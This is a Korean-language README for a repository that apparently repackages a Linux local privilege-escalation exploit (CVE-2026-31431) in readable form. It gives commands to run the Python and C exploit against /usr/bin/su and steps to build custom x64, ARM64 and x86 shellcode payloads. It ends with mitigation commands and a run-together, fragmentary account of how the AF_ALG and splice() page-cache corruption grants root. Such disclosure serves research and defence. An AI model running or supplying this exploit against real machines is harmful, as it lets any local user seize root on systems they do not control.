
CVE-2026-31431의 이해하기 쉬운 버전
이해하기 쉬운 버전의 CVE-2026-31431입니다. 이는 누구나 root가 될 수 있게 하는 권한 상승 기법입니다. 원본 개념 증명 코드는 https://github.com/theori-io/copy-fail-CVE-2026-31431 에서 찾을 수 있지만, 가능한 한 작은 설치 공간(footprint)을 갖도록 고도로 압축되고 축소되어 있습니다. 이 저장소는 해당 코드가 수행하는 작업, 페이로드가 로드되는 방식, 다양한 아키텍처를 대상으로 지정하는 방법을 포함하여 그 코드를 보다 읽기 쉬운 방식으로 분석하려고 시도합니다. 보다 기술적인 내용은 https://xint.io/blog/copy-fail-linux-distributions 에서 확인하세요.
기본적으로 python3 copyfail.py를 실행하면 /usr/bin/su를 악용하는 x64 셸코드가 실행됩니다. python3 copyfail.py [path/to/custom/payload.elf]를 실행하여 자신만의 페이로드를 제공할 수 있습니다. 예를 들어, payloads/ 안에 ARM64 셸코드 어셈블리가 있습니다. 따라서 ARM64 기기에서 테스트하려면 먼저 커스텀 링커 스크립트로 최소화된 페이로드를 빌드해야 합니다:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
그런 다음 python3 copyfail.py shellcode_aarch64.elf를 사용하여 메인 익스플로잇을 실행할 수 있습니다.
C로 실행하는 경우:
./c_copyfail — 위와 동일한 기본 셸코드를 실행합니다../c_copyfail [path/to/custom/payload.elf]를 실행하여 자신만의 페이로드를 제공할 수도 있습니다.C 버전 빌드:
cd c_port
make
구체적으로, 대상 .S 파일을 원시 바이너리로 컴파일하고 이를 C unsigned char 배열로 출력합니다:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
또는 32비트 x86의 경우,
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
그런 다음 이 파일의 내용을 소스 코드에 복사하거나, as + ld로 생성된 payload.elf를 직접 ./c_copyfail.exe [path/to/payload.elf]로 실행할 수 있습니다 (gcc + objcopy가 아닙니다).
악용을 방지하려면 다음을 실행하세요:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
이미 악용된 경우 시스템을 재시작하거나 다음을 실행할 수 있습니다:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALG 소켓 유형을 통해 crypto API와 통신할 수 있게 합니다.splice() 시스템 호출을 사용하여 소켓을 통해 데이터를 보내면, 커널은 splice한 파일의 실제 page-cache 페이지를 crypto 작업 영역에 넣습니다./usr/bin/su)/usr/bin/su를 실행하면 커널은 page cache에서 읽어 수정된 바이트를 가져옵니다/usr/bin/su 내부의 UID 검사를 덮어써 UID를 0(root)으로 만들 수 있습니다su 바이너리는 메모리에서 손상되므로 파일 변경이 감지되지 않습니다. 디스크에서 복원하려면 page-cache를 플러시하면 됩니다.